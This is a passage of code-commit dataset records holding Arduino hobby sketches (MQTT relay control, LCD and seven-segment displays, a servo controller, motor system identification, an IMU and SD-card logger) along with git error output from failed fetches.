return ( segwidth * digits + thick * (digits - 1) );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MatrixClock3\/MatrixClock3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1bc41e716d3b71e9f9dd525db570967c6907638d","subject":"Create mqtt_dragino_2xrele_lcd_20x4_serial_i2c_ver2.ino","message":"Create mqtt_dragino_2xrele_lcd_20x4_serial_i2c_ver2.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"dragino\/mqtt_dragino_2xrele_lcd_20x4_serial_i2c_ver2.ino","new_file":"dragino\/mqtt_dragino_2xrele_lcd_20x4_serial_i2c_ver2.ino","new_contents":"#include <Process.h>\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include \"MQTTclient.h\"\n\nunsigned long time;\n#define I2C_ADDR 0x27\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n#define BACKLIGHT_PIN 3\n\nint rele1 = 4;\nint rele2 = 6; \n\n#define MQTT_HOST \"190.97.168.236\" \nchar message_buff[100];\nchar message_buff2[100];\nchar message[256];\nString id_sensor = \"prueba12\";\n\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin,\n D4_pin, D5_pin, D6_pin, D7_pin);\n\nvoid setup() {\n Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n mqtt.subscribe(\"\/rr\/temp\", someEvent);\n lcd.begin (20, 4);\n pinMode(rele1, OUTPUT);\n pinMode(rele2, OUTPUT);\n digitalWrite(rele1, HIGH);\n digitalWrite(rele2, HIGH);\n\n \/\/ Switch on the backlight\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE);\n lcd.setBacklight(HIGH);\n\n \/\/ Position cursor and write some text\n lcd.home();\n lcd.setCursor(0,0);\n lcd.print(\"RELE 1: OFF\");\n lcd.setCursor(0,1);\n lcd.print(\"RELE 2: OFF\");\n \n mqtt.publish(\"test\/dos\", \"conectado!\");\n}\n\nvoid loop() {\n\n\n\n int estadorele1 = bitRead(PORTD,4);\n int estadorele2 = bitRead(PORTD,6);\n\n if (millis() > (time + 10000)) {\n time = millis();\n\n\n \n mqtt.publish(\"\/pryxo\/yxusers\/lrojas\/control\/ui98h23d09h2d\/rele\/1\",estadorele1);\n mqtt.publish(\"\/pryxo\/yxusers\/lrojas\/control\/ui98h23d09h2d\/rele\/2\",estadorele2);\n\/*lcd.home();\n lcd.setCursor(0,2);\n lcd.print(\"Status RELE 1X:\");\n lcd.setCursor(17,2);\n lcd.print(estadorele1);\n \n lcd.setCursor(0,3);\n lcd.print(\"Status RELE 2X:\");\n lcd.setCursor(17,3);\n lcd.print(estadorele2);\n *\/ \n\n }\n \n else {\n mqtt.monitor();\n }\n\n}\n\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n\n\n\n\n\n mqtt.publish(\"test\/dos\", \"Recibido_Control_D1\");\n if (message == \"rele10\") {\n digitalWrite(rele1, HIGH);\n lcd.setCursor(0,0);\n \/\/ lcd.clear();\n lcd.print(\"RELE 1: OFF\");\n \n } \n else if (message == \"rele11\"){\n digitalWrite(rele1, LOW);\n lcd.setCursor(0,0);\n \/\/lcd.clear();\n lcd.print(\"RELE 1: ON\");\n \n } \n \n else if (message == \"rele20\"){\n digitalWrite(rele2, HIGH);\nlcd.setCursor(0,1);\n \/\/ lcd.clear();\n lcd.print(\"RELE 2: OFF\");\n \n } else if (message == \"rele21\"){\n digitalWrite(rele2, LOW);\n lcd.setCursor(0,1);\n \/\/ lcd.clear();\n lcd.print(\"RELE 2: ON\");\n \n } \n\n\/\/ lcd.setCursor(2,1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/mqtt_dragino_2xrele_lcd_20x4_serial_i2c_ver2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"46595f1dfe261bafc84e6735c14d13122df563ca","subject":"Single Robot System ID","message":"Single Robot System ID\n","repos":"utdrobotchess\/chess-game","old_file":"Embedded-Arduino\/Testing\/SystemID\/Single_Robot_System_ID\/Single_Robot_System_ID.ino","new_file":"Embedded-Arduino\/Testing\/SystemID\/Single_Robot_System_ID\/Single_Robot_System_ID.ino","new_contents":"#include <Arduino.h>\n#include <Wire.h>\n#include <digitalWriteFast.h>\n#include <math.h>\n\n\/\/######ENCODERS######\n\/\/Left Encoder\n#define c_LeftEncoderInterrupt 0\n#define c_LeftEncoderPinA 2\n#define c_LeftEncoderPinB 4\n#define LeftEncoderIsReversed\nvolatile bool _LeftEncoderBSet;\nvolatile long _LeftEncoderTicks = 0;\n\n\/\/Right Encoder\n#define c_RightEncoderInterrupt 1\n#define c_RightEncoderPinA 3\n#define c_RightEncoderPinB 5\nvolatile bool _RightEncoderBSet;\nvolatile long _RightEncoderTicks = 0;\n\nlong Prev_LeftEncoderTicks;\nlong Prev_RightEncoderTicks;\n\n\/\/######MOTORS#########\n\/\/Left Motor\nconst int reverseLeftMotorPin = 11;\nconst int forwardLeftMotorPin = 10;\n\n\/\/Right Motor\nconst int reverseRightMotorPin = 9;\nconst int forwardRightMotorPin = 8;\n\n\/\/######SYSTEM ID#######\n\/\/Modify these fields\nconst int totalVolComs = 20; \/\/the total number of voltage commands to be executed by the robot\nconst int testPin1 = forwardLeftMotorPin;\nconst int testPin2 = forwardRightMotorPin;\n\nint volComs[totalVolComs]; \/\/the voltage commands to be executed by robot\nint volComsIndex = 0; \/\/keeps track of which voltage command the robot is current executing\nunsigned long volComTimes[totalVolComs]; \/\/the lengths of time each voltage command is executed\n\nconst int totalTime = 20000; \/\/the total amount of time the robot should measure angular velocity of the wheels\nconst int velsSize = totalTime \/ 20;\nint vels[velsSize]; \/\/the velocities of the wheels, measured every 20 ms\nint velsIndex = 0; \/\/keeps track of which measurement is currently being executed\nint velsTimes[velsSize];\nint velsCommandIndex[velsSize];\n\nunsigned long currentTime;\nunsigned long lastMeasureTime;\nunsigned long lastCommandTime;\nboolean commandNow = false;\nboolean measureNow = false;\n\nvoid setup(){\n Serial.begin(9600);\n \n \/\/Left Encoder\n pinMode(c_LeftEncoderPinA, INPUT); \/\/sets pin A as input\n digitalWrite(c_LeftEncoderPinA, LOW); \/\/turns on pullup resistors\n pinMode(c_LeftEncoderPinB, INPUT); \/\/sets pin B as input\n digitalWrite(c_LeftEncoderPinB, LOW); \/\/turns on pullup resistors\n attachInterrupt(c_LeftEncoderInterrupt, HandleLeftMotorInterruptA, RISING);\n \n \/\/Right Encoder\n pinMode(c_RightEncoderPinA, INPUT); \/\/sets pin A as input\n digitalWrite(c_RightEncoderPinA, LOW); \/\/turns on pullup resistors\n pinMode(c_RightEncoderPinB, INPUT); \/\/sets pin B as input\n digitalWrite(c_RightEncoderPinB, LOW); \/\/turns on pullupresistors\n attachInterrupt(c_RightEncoderInterrupt, HandleRightMotorInterruptA, RISING);\n \n Prev_RightEncoderTicks = _RightEncoderTicks;\n Prev_LeftEncoderTicks = _LeftEncoderTicks;\n \n \/\/Motors\n pinMode(reverseLeftMotorPin, OUTPUT);\n pinMode(forwardLeftMotorPin, OUTPUT);\n pinMode(reverseRightMotorPin, OUTPUT);\n pinMode(forwardRightMotorPin, OUTPUT);\n \n generateCommandArrays();\n \n outputResults();\n \n performTest();\n}\n\nvoid loop(){\n}\n\nvoid generateCommandArrays(){\n randomSeed(analogRead(0));\n \n for(int i = 0; i < totalVolComs; i++){\n volComs[i] = random(256);\n volComTimes[i] = 5*random(1,400);\n } \n}\n\nvoid performTest(){\n const unsigned long baseTime = millis();\n currentTime = baseTime;\n analogWrite(reverseLeftMotorPin, volComs[volComsIndex]);\n lastCommandTime = currentTime;\n lastMeasureTime = currentTime;\n \n while(currentTime - baseTime < totalTime){\n currentTime = millis();\n commandNow = (currentTime - lastCommandTime >= volComTimes[volComsIndex] && lastCommandTime != currentTime) ? true : false;\n measureNow = (currentTime - lastMeasureTime >= 20 && lastMeasureTime != currentTime) ? true : false;\n \n if(commandNow || measureNow){\n if(commandNow){\n analogWrite(reverseLeftMotorPin, volComs[++volComsIndex]);\n lastCommandTime = currentTime;\n }\n \n if(measureNow){\n vels[velsIndex] = _LeftEncoderTicks - Prev_LeftEncoderTicks;\n lastMeasureTime = currentTime;\n Prev_LeftEncoderTicks = _LeftEncoderTicks;\n velsTimes[velsIndex] = currentTime - baseTime;\n velsCommandIndex[velsIndex++] = volComsIndex;\n }\n }\n }\n \n digitalWrite(reverseLeftMotorPin, LOW);\n}\n\nvoid outputResults(){\n for(int i = 0; i < totalVolComs; i++){\n Serial.print(volComs[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.println(volComTimes[i]);\n delay(5);\n }\n \n Serial.println(\"End Commands\\n\\nStart Measurements\");\n delay(20);\n \n for(int i = 0; i < velsSize; i++){\n Serial.print(velsTimes[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.print(velsCommandIndex[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.println(vels[i]);\n delay(5);\n }\n \n Serial.println(\"End Measurements\");\n}\n\n\/\/ DO NOT MODIFY BELOW THIS POINT\n\/\/############ ENCODER INTERRUPTS ################\n\/\/ Interrupt service routines for the left motor's quadrature encoder \nvoid HandleLeftMotorInterruptA() {\n \/\/ Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A \n _LeftEncoderBSet = digitalReadFast(c_LeftEncoderPinB); \/\/ read the input pin \n\n \/\/ and adjust counter + if A leads B \n#ifdef LeftEncoderIsReversed \n _LeftEncoderTicks -= _LeftEncoderBSet ? -1 : +1; \n#else \n _LeftEncoderTicks += _LeftEncoderBSet ? -1 : +1; \n#endif \n} \n\n\/\/ Interrupt service routines for the right motor's quadrature encoder \nvoid HandleRightMotorInterruptA() {\n \/\/ Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A \n _RightEncoderBSet = digitalReadFast(c_RightEncoderPinB); \/\/ read the input pin \n\n \/\/ and adjust counter + if A leads B \n#ifdef RightEncoderIsReversed \n _RightEncoderTicks -= _RightEncoderBSet ? -1 : +1; \n#else \n _RightEncoderTicks += _RightEncoderBSet ? -1 : +1; \n#endif\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Embedded-Arduino\/Testing\/SystemID\/Single_Robot_System_ID\/Single_Robot_System_ID.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d56cba4370b427f8cc5108b5e61733ca9cbb6b78","subject":"Cosmetic","message":"Cosmetic\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/teensy-hsm.ino","new_file":"teensy-hsm\/teensy-hsm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"77a4d937397c52eb1bd49dbee43d43446871c673","subject":"Fixed comments","message":"Fixed comments\n\nFixed some typos in comments \/ cleaned them up in general.\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0e25eb28cc9e677f00155a7c04985472caf35136","subject":"Display code","message":"Display code\n","repos":"Chase1325\/ChaseDigidip","old_file":"FourDigitSevSeg\/FourDigitSevSeg\/FourDigitSevSeg.ino","new_file":"FourDigitSevSeg\/FourDigitSevSeg\/FourDigitSevSeg.ino","new_contents":"\/*\n Name:\t\tFourDigitSevSeg.ino\n Created:\t5\/19\/2016 8:08:26 AM\n Author:\tChaseStLaurent\n*\/\n\n#include <SoftwareSerial.h>\n\/\/#include <SoftwareSerial\\src\\SoftwareSerial.h>\n\nSoftwareSerial Serial7Segment(7, 8);\n\nint cycles = 0;\n\nvoid setup() {\n\tSerial.begin(9600); \n\tSerial7Segment.begin(9600);\n\tSerial7Segment.write('v');\n}\n\nvoid loop() {\n\tSerial.write('c');\n\tint sensorValue = analogRead(A0);\n\tSerial.println(sensorValue);\n\tint correctionFactor = analogRead(A0) * 11.06;\/\/ Increase by a digit and scale \n\tif (analogRead(A0) <= 999 && correctionFactor <= 9999) {\n\t\tcycles = correctionFactor;\n\t}\n\telse {\n\t\tcycles = 9999;\n\t}\n\n\tSerial.print(\"Cycle: \");\n\tSerial.println(cycles);\n\tsendValue(cycles);\n\n\tdelay(1000);\n}\n\n\/\/Send the four characters to the display\nvoid sendValue(int tempCycles) {\n\tchar tempString[10];\n\tsprintf(tempString, \"%4d\", tempCycles);\n\tSerial7Segment.print(tempString);\n\tdelay(100);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'FourDigitSevSeg\/FourDigitSevSeg\/FourDigitSevSeg.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d3f870a17cd8fcaf8bc388c2c6e1a24c8d7efea4","subject":"Create armControl.ino","message":"Create armControl.ino","repos":"huskyroboticsteam\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15","old_file":"Arduino Code\/masterCode\/armControl.ino","new_file":"Arduino Code\/masterCode\/armControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8a071568808e6ff2d27f2d353626b2549e5bc655","subject":"Display Temp on LCD","message":"Display Temp on LCD\n\nwith touch for LCD backlight\n","repos":"totothekiller\/weather-station,totothekiller\/weather-station","old_file":"DiplayTemp\/DiplayTemp.ino","new_file":"DiplayTemp\/DiplayTemp.ino","new_contents":"\/\/\n\/\/ Display Temp\n\/\/\n#include <VirtualWire.h>\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n#include <CapacitiveSensor.h>\n\n#define I2C_ADDR 0x27 \/\/ <<----- Add your address here. Find it from I2C Scanner\n#define BACKLIGHT_PIN 3\n#define En_pin 2\n#define Rw_pin 1\n#define Rs_pin 0\n#define D4_pin 4\n#define D5_pin 5\n#define D6_pin 6\n#define D7_pin 7\n\n\nint rxLed = 13; \/\/ RX LED\nint rxPin = 11; \/\/ RX In\n\nLiquidCrystal_I2C lcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin);\n\nCapacitiveSensor touch = CapacitiveSensor(2,4); \n\n\/\/ Sensor RX Data\ntypedef struct sensorData_t{\n byte id; \/\/ size 1\n float value; \/\/ size 4\n};\n\ntypedef union sensorData_union_t{\n sensorData_t data;\n uint8_t raw[5]; \/\/ total size of 5 bytes\n};\n\n\/\/ RX message\nuint8_t message[VW_MAX_MESSAGE_LEN];\n\n\/\/ LAst Touch\nunsigned long lastTouch;\n\nvoid setup() {\n \/\/ Led Setup\n pinMode(rxLed, OUTPUT);\n\n \/\/ Debug\n Serial.begin(9600);\n Serial.println(\"setup\");\n\n \/\/ Set Up RX\n vw_set_rx_pin(rxPin);\n vw_setup(2000);\n\n \/\/ Set Up LCD\n lcd.begin (16,2); \/\/ <<----- My LCD was 16x2\n \/\/ Switch on the backlight\n lcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);\n lcd.setBacklight(HIGH);\n lcd.home (); \/\/ go home\n\n lcd.print(\"TTK is here !\");\n\n \/\/ Start the receiver\n vw_rx_start(); \n}\n\nvoid loop() {\n\n \/\/ Turn the ligth ?\n long touched = touch.capacitiveSensor(30);\n \n unsigned long currentTime = millis();\n \n if(touched>100)\n {\n Serial.print(\"Touch \");\n Serial.println(touched); \n lcd.setBacklight(HIGH); \/\/ Backlight on\n lastTouch = currentTime;\n }\n else if( currentTime - lastTouch > 10000)\n {\n lcd.setBacklight(LOW); \/\/ Backlight off\n }\n\n \/\/ Wait Message (max 200ms)\n if( vw_wait_rx_max(200))\n {\n \/\/ message size\n uint8_t messageLen = VW_MAX_MESSAGE_LEN;\n\n if (vw_get_message(message, &messageLen)) \/\/ Read if OK\n {\n digitalWrite(rxLed, HIGH);\n\n \/\/ DEBUG\n if(Serial)\n {\n Serial.print(\"Got: \");\n\n \/\/ HEX DUMP\n for (int i = 0; i < messageLen; i++)\n {\n Serial.print(message[i], HEX);\n }\n Serial.println(\"\");\n }\n\n \/\/ Check size\n if(messageLen>4)\n {\n \/\/ Convert Byte to Sensor Data\n sensorData_union_t sensor;\n\n for (int k=0; k < 5; k++)\n { \n sensor.raw[k] = message[k];\n }\n\n Serial.print(\"Sensor=\");\n Serial.print(sensor.data.id);\n Serial.print(\", Temp=\");\n Serial.println(sensor.data.value);\n\n \/\/ LCD\n lcd.setCursor (0,1); \/\/ go to start of 2nd line\n lcd.print(sensor.data.value);\n } \n else\n {\n Serial.println(\"Not enought data in transmition\");\n\n \/\/ Try to restart RX module\n vw_rx_stop(); \n delay(1000);\n vw_rx_start(); \n }\n digitalWrite(rxLed, LOW);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DiplayTemp\/DiplayTemp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c7519ed47fa7c3d1cb56635b6b5883c9fe86ebbc","subject":"Arduino Example Ch06","message":"Arduino Example Ch06\n\nArduino Example Ch06: I2C ServoController\n","repos":"robotfreak\/dfhacks,robotfreak\/dfhacks","old_file":"Arduino\/DigitalFotografieHacks\/ch06\/I2CServoController\/I2CServoController.ino","new_file":"Arduino\/DigitalFotografieHacks\/ch06\/I2CServoController\/I2CServoController.ino","new_contents":"\/* Digital Fotografie Hacks\n * I2C Servo Controller v0.1\n *\n *\/\n\n#include <wire.h>\n\n\/\/ define i2c slave address \n#define I2C_ADDRESS 0x2A\n#define I2C_CMD_LEN 2\n\n#define servo1Pin 7\n#define servo2Pin 8\n\nvolatile char i2cCmd[I2C_CMD_LEN];\nvolatile bool i2cCmdRcv; \nvolatile int i2cCmdIdx;\n\nServo myServo1();\nServo myServo2();\n\n\/\/ callback for received data\nvoid receiveData(int byteCount) \n{\n int i=0;\n while(Wire.available()>0) \n {\n i2cCmd[i2cCmdIdx] = Wire.read(); \n i2cCmdIdx++;\n }\n if (i2cCmdIdx == 2)\n {\n i2cCmdRcv = true;\n i2cCmdIdx = 0;\n\n }\n}\n\n\/\/ callback for sending data\nvoid sendData()\n{ \n}\n\nvoid setup() \n{\n Serial.begin(57600);\n Serial.println(\"I2C Servo Controller v0.1\");\n \/\/ initialize i2c as slave\n Wire.begin(I2C_ADDRESS);\n\n \/\/ define callbacks for i2c communication\n Wire.onReceive(receiveData);\n \/\/ Wire.onRequest(sendData); \n \n i2cCmdRcv = false; \n i2cCmdIdx = 0;\n\n \/\/ attach servos to servo pins\n myServo1.attach(servo1Pin);\n myServo2.attach(servo2Pin);\n\n \/\/ center servos\n myServo1.write(90);\n myServo2.write(90);\n}\n\nvoid loop()\n{\n if (i2cCmdRcv == true)\n {\n i2cCmdRcv = false;\n if (i2cCmd[0] == 1)\n myServo1.write(cmd[1]);\n else if (i2cCmd[0] == 2)\n myServo2.write(cmd[1]);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/DigitalFotografieHacks\/ch06\/I2CServoController\/I2CServoController.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a001b960b03094588ba8ccd493672840c74762fb","subject":"first set of commands for turning on all the segments on LCD","message":"first set of commands for turning on all the segments on LCD\n","repos":"baghayi\/Nokia_5110,baghayi\/Nokia_5110","old_file":"Nokia_5110\/Nokia_5110.ino","new_file":"Nokia_5110\/Nokia_5110.ino","new_contents":"#define RST 2\n#define CE 3\n#define DC 4\n#define DIN 5\n#define CLK 6\n\nvoid lcdCommand(byte command){\n digitalWrite(DC, LOW); \/\/ DC pin is low for commands\n digitalWrite(CE, LOW);\n shiftOut(DIN, CLK, MSBFIRST, command); \/\/ transmit serial data\n digitalWrite(CE, HIGH);\n}\n\nvoid setup() {\n pinMode(RST, OUTPUT);\n pinMode(CE, OUTPUT);\n pinMode(DC, OUTPUT);\n pinMode(DIN, OUTPUT);\n pinMode(CLK, OUTPUT);\n\n digitalWrite(RST, LOW);\n digitalWrite(RST, HIGH);\n\n lcdCommand(0x21); \/\/ LCD extended commands\n lcdCommand(0xB8); \/\/ set LCD Vop (contrast)\n lcdCommand(0x04); \/\/ set temp coefficent\n lcdCommand(0x14); \/\/ LCD bias mode 1:40\n lcdCommand(0x20); \/\/ LCD basic commands\n lcdCommand(0x09); \/\/ LCD all segments on\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"327bd47a53e8be76c2fa4dc78ab5475c047424f8","subject":"added LDR calibration sketch","message":"added LDR calibration sketch\n","repos":"fabiantheblind\/analogio,fabianmoronzirfas\/analogio,fabianmoronzirfas\/analogio,fabiantheblind\/analogio","old_file":"light_dependend_resistor_calibration\/light_dependend_resistor_calibration.ino","new_file":"light_dependend_resistor_calibration\/light_dependend_resistor_calibration.ino","new_contents":"int ldrpin = A0;\nint ledpin = 9;\nint ivmin = 1023;\nint ivmax = 0;\nint ovmin = 0;\nint ovmax = 255;\nvoid setup() {\n \/\/ once\n Serial.begin(9600);\n pinMode(ledpin, OUTPUT);\n}\nvoid loop() {\n int potivalue = analogRead(ldrpin);\n Serial.println(ldrvalue);\n \/\/ calibrate\n if (ldrvalue < ivmin) {\n ivmin = potivalue;\n }\n if (ldrvalue > ivmax) {\n ivmax = potivalue;\n }\n \n int mappedvalue = map(ldrvalue, ivmin, ivmax, ovmin, ovmax);\n analogWrite(ledpin, mappedvalue);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'light_dependend_resistor_calibration\/light_dependend_resistor_calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"88df15e0fa0520db845be20f8c4a0b4ca3b7d263","subject":"Initial commit, IMU + AnalogRead SD logger.","message":"Initial commit, IMU + AnalogRead SD logger.","repos":"bruinracing\/DAQ2017,bruinracing\/DAQ2017","old_file":"src\/Sensors\/sketch_feb18a.ino","new_file":"src\/Sensors\/sketch_feb18a.ino","new_contents":"\/\/IMU + AnalogRead logging to SD over SPI.\n#include <SD.h>\n#include <SPI.h>\n#include <Wire.h>\n#include <SparkFunLSM9DS1.h>\n\n\/\/ Use the LSM9DS1 class to create an object. [imu] can be\n\/\/ named anything, we'll refer to that throught the sketch.\nLSM9DS1 imu;\n\n\/\/ SDO_XM and SDO_G are both pulled high, so our addresses are:\n#define LSM9DS1_M 0x1E \/\/ Would be 0x1C if SDO_M is LOW\n#define LSM9DS1_AG 0x6B \/\/ Would be 0x6A if SDO_AG is LOW\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Sketch Output Settings \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define PRINT_CALCULATED\n\/\/#define PRINT_RAW\n#define PRINT_SPEED 250 \/\/ 250 ms between prints\nstatic unsigned long lastPrint = 0; \/\/ Keep track of print time\n\n\/\/ Earth's magnetic field varies by location. Add or subtract \n\/\/ a declination to get a more accurate heading. Calculate \n\/\/ your's here:\n\/\/ http:\/\/www.ngdc.noaa.gov\/geomag-web\/#declination\n#define DECLINATION 12.1 \/\/ Declination (degrees) in LA.\n\n\/\/the hardware CS pin (10 on most Arduino boards,\n\/\/ 53 on the Mega) must be left as an output or the SD\n\/\/ library functions will not work.\nconst int CSpin = 10;\nString dataString =\"\"; \/\/ holds the data to be written to the SD card\nfloat sensorReading1 = 0.00; \/\/ value read from your first sensor\nfloat sensorReading2 = 0.00; \/\/ value read from your second sensor\nfloat sensorReading3 = 0.00; \/\/ value read from your third sensor\nfloat sensorReading4 = 0.00;\nfloat sensorReading5 = 0.00;\nfloat sensorReading6 = 0.00;\nfloat sensorReading7 = 0.00;\nFile sensorData;\n\nvoid setup()\n{\n \/\/ Open serial communications\n Serial.begin(115200);\n Serial.print(\"Initializing SD card...\\n\");\n pinMode(CSpin, OUTPUT);\n digitalWrite(10, HIGH);\n \/\/\n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(CSpin)) {\n Serial.println(\"Card failed\");\n \/\/ don't do anything more:\n Serial.println(\"WTF\\n\");\n return;\n }\n sensorData = SD.open(\"data.csv\", FILE_WRITE);\n sensorData.close();\n Serial.println(\"card initialized.\");\n Serial.println(\"Beginning IMU initialization.\");\n \/\/ Before initializing the IMU, there are a few settings\n \/\/ we may need to adjust. Use the settings struct to set\n \/\/ the device's communication mode and addresses:\n imu.settings.device.commInterface = IMU_MODE_I2C;\n imu.settings.device.mAddress = LSM9DS1_M;\n imu.settings.device.agAddress = LSM9DS1_AG;\n \/\/ The above lines will only take effect AFTER calling\n \/\/ imu.begin(), which verifies communication with the IMU\n \/\/ and turns it on.\n if (!imu.begin())\n {\n Serial.println(\"Failed to communicate with LSM9DS1.\");\n Serial.println(\"Double-check wiring.\");\n Serial.println(\"Default settings in this sketch will \" \\\n \"work for an out of the box LSM9DS1 \" \\\n \"Breakout, but may need to be modified \" \\\n \"if the board jumpers are.\");\n while (1)\n ;\n }\n}\n\n\/\/ Calculate pitch, roll, and heading.\n\/\/ Pitch\/roll calculations take from this app note:\n\/\/ http:\/\/cache.freescale.com\/files\/sensors\/doc\/app_note\/AN3461.pdf?fpsp=1\n\/\/ Heading calculations taken from this app note:\n\/\/ http:\/\/www51.honeywell.com\/aero\/common\/documents\/myaerospacecatalog-documents\/Defense_Brochures-documents\/Magnetic__Literature_Application_notes-documents\/AN203_Compass_Heading_Using_Magnetometers.pdf\nvoid printAttitude(float ax, float ay, float az, float mx, float my, float mz)\n{\n float roll = atan2(ay, az);\n float pitch = atan2(-ax, sqrt(ay * ay + az * az));\n \n float heading;\n if (my == 0)\n heading = (mx < 0) ? PI : 0;\n else\n heading = atan2(mx, my);\n \n heading -= DECLINATION * PI \/ 180;\n \n if (heading > PI) heading -= (2 * PI);\n else if (heading < -PI) heading += (2 * PI);\n else if (heading < 0) heading += 2 * PI;\n \n \/\/ Convert everything from radians to degrees:\n heading *= 180.0 \/ PI;\n pitch *= 180.0 \/ PI;\n roll *= 180.0 \/ PI;\n \n Serial.print(\"Pitch, Roll: \");\n Serial.print(pitch, 2);\n Serial.print(\", \");\n Serial.println(roll, 2);\n Serial.print(\"Heading: \"); Serial.println(heading, 2);\n}\n\nvoid loop(){\n int A0 = analogRead(0);\n sensorReading1 = A0;\n sensorReading1 = (sensorReading1 * 5.0) \/ 1023.0;\n \/\/Begin IMU data collection\n \/\/ Update the sensor values whenever new data is available\n if ( imu.gyroAvailable() )\n {\n \/\/ To read from the gyroscope, first call the\n \/\/ readGyro() function. When it exits, it'll update the\n \/\/ gx, gy, and gz variables with the most current data.\n imu.readGyro();\n }\n if ( imu.accelAvailable() )\n {\n \/\/ To read from the accelerometer, first call the\n \/\/ readAccel() function. When it exits, it'll update the\n \/\/ ax, ay, and az variables with the most current data.\n imu.readAccel();\n }\n if ( imu.magAvailable() )\n {\n \/\/ To read from the magnetometer, first call the\n \/\/ readMag() function. When it exits, it'll update the\n \/\/ mx, my, and mz variables with the most current data.\n imu.readMag();\n }\n \n if ((lastPrint + PRINT_SPEED) < millis())\n {\n sensorReading2 = imu.calcGyro(imu.gx);\n sensorReading3 = imu.calcGyro(imu.gy);\n sensorReading4 = imu.calcGyro(imu.gz);\n \/\/accel readings\n sensorReading5 = imu.calcAccel(imu.ax);\n sensorReading6 = imu.calcAccel(imu.ay);\n sensorReading7 = imu.calcAccel(imu.az);\n \n \n lastPrint = millis(); \/\/ Update lastPrint time\n }\n \/\/ build the data string\n dataString = String(sensorReading1) + \",\" + String(sensorReading2) + \",\" + String(sensorReading3) + \",\" + String(sensorReading4) + \",\" + String(sensorReading5) + \",\" + String(sensorReading6) + \",\" + String(sensorReading7) + \",\"; \/\/ convert to CSV\n saveData(); \/\/ save to SD card\n \/\/delay(60000); \/\/ delay before next write to SD Card, adjust as required\n}\n\nvoid saveData(){\n if(SD.exists(\"data.csv\")){ \/\/ check the card is still there\n \/\/ now append new data file\n sensorData = SD.open(\"data.csv\", FILE_WRITE);\n if (sensorData){\n sensorData.println(dataString);\n sensorData.close(); \/\/ close the file\n }\n }\n else{ \n Serial.println(\"Error writing to file !\");\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Sensors\/sketch_feb18a.ino' did not match any file(s) known to 